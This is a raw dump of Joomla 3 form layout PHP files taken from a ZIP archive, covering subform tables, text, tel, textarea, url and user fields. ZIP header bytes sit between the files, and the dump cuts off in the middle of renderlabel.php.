* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Make thing clear
*
* @var JForm $tmpl The Empty form for template
* @var array $forms Array of JForm instances for render the
rows
* @var bool $multiple The multiple state for the form field
* @var int $min Count of minimum repeating in multiple
mode
* @var int $max Count of maximum repeating in multiple
mode
* @var string $fieldname The field name
* @var string $control The forms control
* @var string $label The field label
* @var string $description The field description
* @var array $buttons Array of the buttons that will be
rendered
* @var bool $groupByFieldset Whether group the subform fields by it`s
fieldset
*/
extract($displayData);
$form = $forms[0];
?>
<div class="subform-wrapper">
<?php foreach ($form->getGroup('') as $field) : ?>
<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</div>
PK">�[������5form/field/subform/repeatable/section-byfieldsets.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Make thing clear
*
* @var JForm $form The form instance for render the section
* @var string $basegroup The base group name
* @var string $group Current group name
* @var array $buttons Array of the buttons that will be rendered
*/
extract($displayData);
?>
<div
class="subform-repeatable-group subform-repeatable-group-<?php
echo $unique_subform_id; ?>"
data-base-name="<?php echo $basegroup; ?>"
data-group="<?php echo $group; ?>"
>
<?php if (!empty($buttons)) : ?>
<div class="btn-toolbar text-right">
<div class="btn-group">
<?php if (!empty($buttons['add'])) : ?>
<a class="btn btn-mini button btn-success group-add
group-add-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_ADD');
?>">
<span class="icon-plus"
aria-hidden="true"></span>
</a>
<?php endif; ?>
<?php if (!empty($buttons['remove'])) : ?>
<a class="btn btn-mini button btn-danger group-remove
group-remove-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_REMOVE');
?>">
<span class="icon-minus"
aria-hidden="true"></span>
</a>
<?php endif; ?>
<?php if (!empty($buttons['move'])) : ?>
<a class="btn btn-mini button btn-primary group-move
group-move-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_MOVE');
?>">
<span class="icon-move"
aria-hidden="true"></span>
</a>
<?php endif; ?>
</div>
</div>
<?php endif; ?>
<div class="row-fluid">
<?php foreach ($form->getFieldsets() as $fieldset) : ?>
<fieldset class="<?php if (!empty($fieldset->class)){ echo
$fieldset->class; } ?>">
<?php if (!empty($fieldset->label)) : ?>
<legend><?php echo JText::_($fieldset->label);
?></legend>
<?php endif; ?>
<?php foreach ($form->getFieldset($fieldset->name) as $field) :
?>
<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</fieldset>
<?php endforeach; ?>
</div>
</div>
PK">�[��hII)form/field/subform/repeatable/section.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Make thing clear
*
* @var JForm $form The form instance for render the section
* @var string $basegroup The base group name
* @var string $group Current group name
* @var array $buttons Array of the buttons that will be rendered
*/
extract($displayData);
?>
<div
class="subform-repeatable-group subform-repeatable-group-<?php
echo $unique_subform_id; ?>"
data-base-name="<?php echo $basegroup; ?>"
data-group="<?php echo $group; ?>"
>
<?php if (!empty($buttons)) : ?>
<div class="btn-toolbar text-right">
<div class="btn-group">
<?php if (!empty($buttons['add'])) : ?>
<a class="btn btn-mini button btn-success group-add
group-add-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_ADD');
?>">
<span class="icon-plus"
aria-hidden="true"></span>
</a>
<?php endif; ?>
<?php if (!empty($buttons['remove'])) : ?>
<a class="btn btn-mini button btn-danger group-remove
group-remove-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_REMOVE');
?>">
<span class="icon-minus"
aria-hidden="true"></span>
</a>
<?php endif; ?>
<?php if (!empty($buttons['move'])) : ?>
<a class="btn btn-mini button btn-primary group-move
group-move-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_MOVE');
?>">
<span class="icon-move"
aria-hidden="true"></span>
</a>
<?php endif; ?>
</div>
</div>
<?php endif; ?>
<?php foreach ($form->getGroup('') as $field) : ?>
<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</div>
PK">�[��rR;form/field/subform/repeatable-table/section-byfieldsets.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Make thing clear
*
* @var JForm $form The form instance for render the section
* @var string $basegroup The base group name
* @var string $group Current group name
* @var array $buttons Array of the buttons that will be rendered
*/
extract($displayData);
?>
<tr
class="subform-repeatable-group subform-repeatable-group-<?php
echo $unique_subform_id; ?>"
data-base-name="<?php echo $basegroup; ?>"
data-group="<?php echo $group; ?>"
>
<?php foreach ($form->getFieldsets() as $fieldset) : ?>
<td class="<?php if (!empty($fieldset->class)){ echo
$fieldset->class; } ?>" data-column="<?php echo
$fieldset->name; ?>">
<?php foreach ($form->getFieldset($fieldset->name) as $field) :
?>
<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</td>
<?php endforeach; ?>
<?php if (!empty($buttons)) : ?>
<td>
<div class="btn-group">
<?php if (!empty($buttons['add'])) : ?>
<a class="btn btn-mini button btn-success group-add
group-add-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_ADD');
?>">
<span class="icon-plus"
aria-hidden="true"></span>
</a>
<?php endif; ?>
<?php if (!empty($buttons['remove'])) : ?>
<a class="btn btn-mini button btn-danger group-remove
group-remove-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_REMOVE');
?>">
<span class="icon-minus"
aria-hidden="true"></span>
</a>
<?php endif; ?>
<?php if (!empty($buttons['move'])) : ?>
<a class="btn btn-mini button btn-primary group-move
group-move-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_MOVE');
?>">
<span class="icon-move"
aria-hidden="true"></span>
</a>
<?php endif; ?>
</div>
</td>
<?php endif; ?>
</tr>
PK">�[)Ya߈�/form/field/subform/repeatable-table/section.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Make thing clear
*
* @var JForm $form The form instance for render the section
* @var string $basegroup The base group name
* @var string $group Current group name
* @var array $buttons Array of the buttons that will be rendered
*/
extract($displayData);
?>
<tr
class="subform-repeatable-group subform-repeatable-group-<?php
echo $unique_subform_id; ?>"
data-base-name="<?php echo $basegroup; ?>"
data-group="<?php echo $group; ?>"
>
<?php foreach ($form->getGroup('') as $field) : ?>
<td data-column="<?php echo strip_tags($field->label);
?>">
<?php echo $field->renderField(array('hiddenLabel' =>
true)); ?>
</td>
<?php endforeach; ?>
<?php if (!empty($buttons)) : ?>
<td>
<div class="btn-group">
<?php if (!empty($buttons['add'])) : ?>
<a class="btn btn-mini button btn-success group-add
group-add-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_ADD');
?>">
<span class="icon-plus"
aria-hidden="true"></span>
</a>
<?php endif; ?>
<?php if (!empty($buttons['remove'])) : ?>
<a class="btn btn-mini button btn-danger group-remove
group-remove-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_REMOVE');
?>">
<span class="icon-minus"
aria-hidden="true"></span>
</a>
<?php endif; ?>
<?php if (!empty($buttons['move'])) : ?>
<a class="btn btn-mini button btn-primary group-move
group-move-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_MOVE');
?>">
<span class="icon-move"
aria-hidden="true"></span>
</a>
<?php endif; ?>
</div>
</td>
<?php endif; ?>
</tr>
PK#>�[������'form/field/subform/repeatable-table.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Make thing clear
*
* @var JForm $tmpl The Empty form for template
* @var array $forms Array of JForm instances for render the
rows
* @var bool $multiple The multiple state for the form field
* @var int $min Count of minimum repeating in multiple
mode
* @var int $max Count of maximum repeating in multiple
mode
* @var string $fieldname The field name
* @var string $control The forms control
* @var string $label The field label
* @var string $description The field description
* @var array $buttons Array of the buttons that will be
rendered
* @var bool $groupByFieldset Whether group the subform fields by it`s
fieldset
*/
extract($displayData);
// Add script
if ($multiple)
{
JHtml::_('jquery.ui', array('core',
'sortable'));
JHtml::_('script', 'system/subform-repeatable.js',
array('version' => 'auto', 'relative'
=> true));
}
// Build heading
$table_head = '';
if (!empty($groupByFieldset))
{
foreach ($tmpl->getFieldsets() as $fieldset) {
$table_head .= '<th>' . JText::_($fieldset->label);
if ($fieldset->description)
{
$table_head .= '<br /><small
style="font-weight:normal">' .
JText::_($fieldset->description) . '</small>';
}
$table_head .= '</th>';
}
$sublayout = 'section-byfieldsets';
}
else
{
foreach ($tmpl->getGroup('') as $field) {
$table_head .= '<th>' . strip_tags($field->label);
if ($field->description)
{
$table_head .= '<br /><small
style="font-weight:normal">' .
JText::_($field->description) . '</small>';
}
$table_head .= '</th>';
}
$sublayout = 'section';
// Label will not be shown for sections layout, so reset the margin left
JFactory::getDocument()->addStyleDeclaration(
'.subform-table-sublayout-section .controls { margin-left: 0px
}'
);
}
?>
<div class="row-fluid">
<div class="subform-repeatable-wrapper subform-table-layout
subform-table-sublayout-<?php echo $sublayout; ?>
form-vertical">
<div
class="subform-repeatable"
data-bt-add="a.group-add-<?php echo $unique_subform_id;
?>"
data-bt-remove="a.group-remove-<?php echo $unique_subform_id;
?>"
data-bt-move="a.group-move-<?php echo $unique_subform_id;
?>"
data-repeatable-element="tr.subform-repeatable-group-<?php echo
$unique_subform_id; ?>"
data-rows-container="tbody.rows-container-<?php echo
$unique_subform_id; ?>"
data-minimum="<?php echo $min; ?>"
data-maximum="<?php echo $max; ?>"
>
<table class="adminlist table table-striped
table-bordered">
<thead>
<tr>
<?php echo $table_head; ?>
<?php if (!empty($buttons)) : ?>
<th style="width:8%;">
<?php if (!empty($buttons['add'])) : ?>
<div class="btn-group">
<a
class="btn btn-mini button btn-success group-add
group-add-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo
JText::_('JGLOBAL_FIELD_ADD'); ?>"
>
<span class="icon-plus"
aria-hidden="true"></span>
</a>
</div>
<?php endif; ?>
</th>
<?php endif; ?>
</tr>
</thead>
<tbody class="rows-container-<?php echo $unique_subform_id;
?>">
<?php foreach ($forms as $k => $form):
echo $this->sublayout(
$sublayout,
array(
'form' => $form,
'basegroup' => $fieldname,
'group' => $fieldname . $k,
'buttons' => $buttons,
'unique_subform_id' => $unique_subform_id,
)
);
endforeach; ?>
</tbody>
</table>
<?php if ($multiple) : ?>
<template class="subform-repeatable-template-section"
style="display: none;"><?php
// Use str_replace to escape HTML in a simple way, it need for IE
compatibility, and should be removed later
echo str_replace(
array('<', '>'),
array('SUBFORMLT', 'SUBFORMGT'),
trim(
$this->sublayout(
$sublayout,
array(
'form' => $tmpl,
'basegroup' => $fieldname,
'group' => $fieldname . 'X',
'buttons' => $buttons,
'unique_subform_id' => $unique_subform_id,
)
)
)
);
?></template>
<?php endif; ?>
</div>
</div>
</div>
PK#>�[��22!form/field/subform/repeatable.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Make thing clear
*
* @var JForm $tmpl The Empty form for template
* @var array $forms Array of JForm instances for render the
rows
* @var bool $multiple The multiple state for the form field
* @var int $min Count of minimum repeating in multiple
mode
* @var int $max Count of maximum repeating in multiple
mode
* @var string $fieldname The field name
* @var string $control The forms control
* @var string $label The field label
* @var string $description The field description
* @var array $buttons Array of the buttons that will be
rendered
* @var bool $groupByFieldset Whether group the subform fields by it`s
fieldset
*/
extract($displayData);
// Add script
if ($multiple)
{
JHtml::_('jquery.ui', array('core',
'sortable'));
JHtml::_('script', 'system/subform-repeatable.js',
array('version' => 'auto', 'relative'
=> true));
}
$sublayout = empty($groupByFieldset) ? 'section' :
'section-byfieldsets';
?>
<div class="row-fluid">
<div class="subform-repeatable-wrapper subform-layout">
<div class="subform-repeatable"
data-bt-add="a.group-add-<?php echo $unique_subform_id;
?>"
data-bt-remove="a.group-remove-<?php echo $unique_subform_id;
?>"
data-bt-move="a.group-move-<?php echo $unique_subform_id;
?>"
data-repeatable-element="div.subform-repeatable-group-<?php echo
$unique_subform_id; ?>"
data-minimum="<?php echo $min; ?>"
data-maximum="<?php echo $max; ?>"
>
<?php if (!empty($buttons['add'])) : ?>
<div class="btn-toolbar">
<div class="btn-group">
<a class="btn btn-mini button btn-success group-add
group-add-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_ADD');
?>">
<span class="icon-plus"
aria-hidden="true"></span>
</a>
</div>
</div>
<?php endif; ?>
<?php
foreach ($forms as $k => $form) :
echo $this->sublayout(
$sublayout,
array(
'form' => $form,
'basegroup' => $fieldname,
'group' => $fieldname . $k,
'buttons' => $buttons,
'unique_subform_id' => $unique_subform_id,
)
);
endforeach;
?>
<?php if ($multiple) : ?>
<template class="subform-repeatable-template-section"
style="display: none;"><?php
// Use str_replace to escape HTML in a simple way, it need for IE
compatibility, and should be removed later
echo str_replace(
array('<', '>'),
array('SUBFORMLT', 'SUBFORMGT'),
trim(
$this->sublayout(
$sublayout,
array(
'form' => $tmpl,
'basegroup' => $fieldname,
'group' => $fieldname . 'X',
'buttons' => $buttons,
'unique_subform_id' => $unique_subform_id,
)
)
)
);
?></template>
<?php endif; ?>
</div>
</div>
</div>
PK%>�[�p��N
N
form/field/tel.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var integer $maxLength The maximum length that the field shall
accept.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
$autocomplete = !$autocomplete ? ' autocomplete="off"'
: ' autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete == ' autocomplete="on"' ?
'' : $autocomplete;
$attributes = array(
!empty($size) ? 'size="' . $size . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
strlen($hint) ? 'placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
$autocomplete,
$autofocus ? ' autofocus' : '',
$spellcheck ? '' : 'spellcheck="false"',
$onchange ? ' onchange="' . $onchange . '"'
: '',
!empty($maxLength) ? $maxLength : '',
$required ? 'required aria-required="true"' :
'',
);
?>
<input type="tel" name="<?php
echo $name; ?>" <?php
echo !empty($class) ? ' class="' . $class .
'"' : ''; ?> id="<?php
echo $id; ?>" value="<?php
echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>"
<?php echo implode(' ', $attributes); ?> />
PK%>�[��i��form/field/text.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
$list = '';
if ($options)
{
$list = 'list="' . $id . '_datalist"';
}
$autocomplete = !$autocomplete ? ' autocomplete="off"'
: ' autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete === ' autocomplete="on"'
? '' : $autocomplete;
$attributes = array(
!empty($class) ? 'class="' . $class . '"' :
'',
!empty($size) ? 'size="' . $size . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
$list,
strlen($hint) ? 'placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
$onchange ? ' onchange="' . $onchange . '"'
: '',
!empty($maxLength) ? $maxLength : '',
$required ? 'required aria-required="true"' :
'',
$autocomplete,
$autofocus ? ' autofocus' : '',
$spellcheck ? '' : 'spellcheck="false"',
!empty($inputmode) ? $inputmode : '',
!empty($pattern) ? 'pattern="' . $pattern .
'"' : '',
);
?>
<input type="text" name="<?php
echo $name; ?>" id="<?php
echo $id; ?>" <?php
echo $dirname; ?> value="<?php
echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>"
<?php echo implode(' ', $attributes); ?> />
<?php if ($options) : ?>
<datalist id="<?php echo $id; ?>_datalist">
<?php foreach ($options as $option) : ?>
<?php if (!$option->value) : ?>
<?php continue; ?>
<?php endif; ?>
<option value="<?php echo $option->value;
?>"><?php echo $option->text; ?></option>
<?php endforeach; ?>
</datalist>
<?php endif; ?>
PK%>�[K�
form/field/textarea.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
// Initialize some field attributes.
$autocomplete = !$autocomplete ? 'autocomplete="off"' :
'autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete == 'autocomplete="on"' ?
'' : $autocomplete;
$attributes = array(
$columns ?: '',
$rows ?: '',
!empty($class) ? 'class="' . $class . '"' :
'',
strlen($hint) ? 'placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
$onchange ? 'onchange="' . $onchange . '"' :
'',
$onclick ? 'onclick="' . $onclick . '"' :
'',
$required ? 'required aria-required="true"' :
'',
$autocomplete,
$autofocus ? 'autofocus' : '',
$spellcheck ? '' : 'spellcheck="false"',
$maxlength ? $maxlength: ''
);
?>
<textarea name="<?php
echo $name; ?>" id="<?php
echo $id; ?>" <?php
echo implode(' ', $attributes); ?> ><?php echo
htmlspecialchars($value, ENT_COMPAT, 'UTF-8');
?></textarea>
PK%>�[i��B,
,
form/field/url.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
$autocomplete = !$autocomplete ? ' autocomplete="off"'
: ' autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete === ' autocomplete="on"'
? '' : $autocomplete;
$attributes = array(
!empty($size) ? ' size="' . $size . '"' :
'',
$disabled ? ' disabled' : '',
$readonly ? ' readonly' : '',
strlen($hint) ? ' placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
$autocomplete,
$autofocus ? ' autofocus' : '',
$spellcheck ? '' : ' spellcheck="false"',
$onchange ? ' onchange="' . $onchange . '"'
: '',
!empty($maxLength) ? $maxLength : '',
$required ? ' required aria-required="true"' :
'',
);
?>
<input <?php
echo $inputType; ?> name="<?php
echo $name; ?>" <?php
echo !empty($class) ? ' class="' . $class .
'"' : ''; ?> id="<?php
echo $id; ?>" value="<?php
echo htmlspecialchars(JStringPunycode::urlToUTF8($value), ENT_COMPAT,
'UTF-8'); ?>" <?php
echo implode(' ', $attributes); ?> />
PK%>�[d|Zs��form/field/user.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Utilities\ArrayHelper;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
*
* @var string $userName The user name
* @var mixed $groups The filtering groups (null means no
filtering)
* @var mixed $excluded The users to exclude from the list of
users
*/
if (!$readonly)
{
JHtml::_('behavior.modal', 'a.modal_' . $id);
JHtml::_('script', 'jui/fielduser.min.js',
array('version' => 'auto', 'relative'
=> true));
}
$uri = new
JUri('index.php?option=com_users&view=users&layout=modal&tmpl=component&required=0');
$uri->setVar('field', $this->escape($id));
if ($required)
{
$uri->setVar('required', 1);
}
if (!empty($groups))
{
$uri->setVar('groups', base64_encode(json_encode($groups)));
}
if (!empty($excluded))
{
$uri->setVar('excluded',
base64_encode(json_encode($excluded)));
}
// Invalidate the input value if no user selected
if ($this->escape($userName) ===
JText::_('JLIB_FORM_SELECT_USER'))
{
$userName = '';
}
$inputAttributes = array(
'type' => 'text', 'id' => $id,
'value' => $this->escape($userName)
);
if ($size)
{
$inputAttributes['size'] = (int) $size;
}
if ($required)
{
$inputAttributes['required'] = 'required';
}
if (!$readonly)
{
$inputAttributes['placeholder'] =
JText::_('JLIB_FORM_SELECT_USER');
}
$anchorAttributes = array(
'class' => 'btn btn-primary modal_' . $id,
'title' => JText::_('JLIB_FORM_CHANGE_USER'),
'rel' => '{handler: \'iframe\', size: {x: 800,
y: 500}}'
);
?>
<div class="input-append">
<input <?php echo ArrayHelper::toString($inputAttributes); ?>
readonly />
<?php if (!$readonly) : ?>
<?php echo JHtml::_('link', (string) $uri, '<span
class="icon-user"></span>', $anchorAttributes);
?>
<?php endif; ?>
</div>
<?php if (!$readonly) : ?>
<input type="hidden" id="<?php echo $id;
?>_id" name="<?php echo $name; ?>"
value="<?php echo (int) $value; ?>"
data-onchange="<?php echo $this->escape($onchange); ?>"
/>
<?php endif;
?>PK%>�[[h�%KKform/renderfield.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* ---------------------
* $options : (array) Optional parameters
* $label : (string) The html code for the label (not required
if $options['hiddenLabel'] is true)
* $input : (string) The input field html code
*/
if (!empty($options['showonEnabled']))
{
JHtml::_('jquery.framework');
JHtml::_('script', 'jui/cms.js',
array('version' => 'auto', 'relative'
=> true));
}
$class = empty($options['class']) ? '' : ' '
. $options['class'];
$rel = empty($options['rel']) ? '' : ' ' .
$options['rel'];
?>
<div class="control-group<?php echo $class; ?>"<?php
echo $rel; ?>>
<?php if (empty($options['hiddenLabel'])) : ?>
<div class="control-label"><?php echo $label;
?></div>
<?php endif; ?>
<div class="controls"><?php echo $input;
?></div>
</div>
PK%>�[��_ywwform/renderlabel.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* ---------------------
* $text : (string) The label text
* $description : (string) An optional description to use in a tooltip
* $for : (string) The id of the input this label is for
* $required : (boolean) True if a required field
* $classes : (array) A list of classes
* $position : (string) The tooltip position. Bottom for alias
*/
$classes = array_filter((array) $classes);
$id = $for . '-lbl';
$title = '';
if (!empty($description))
{
if ($text && $text !== $description)
{
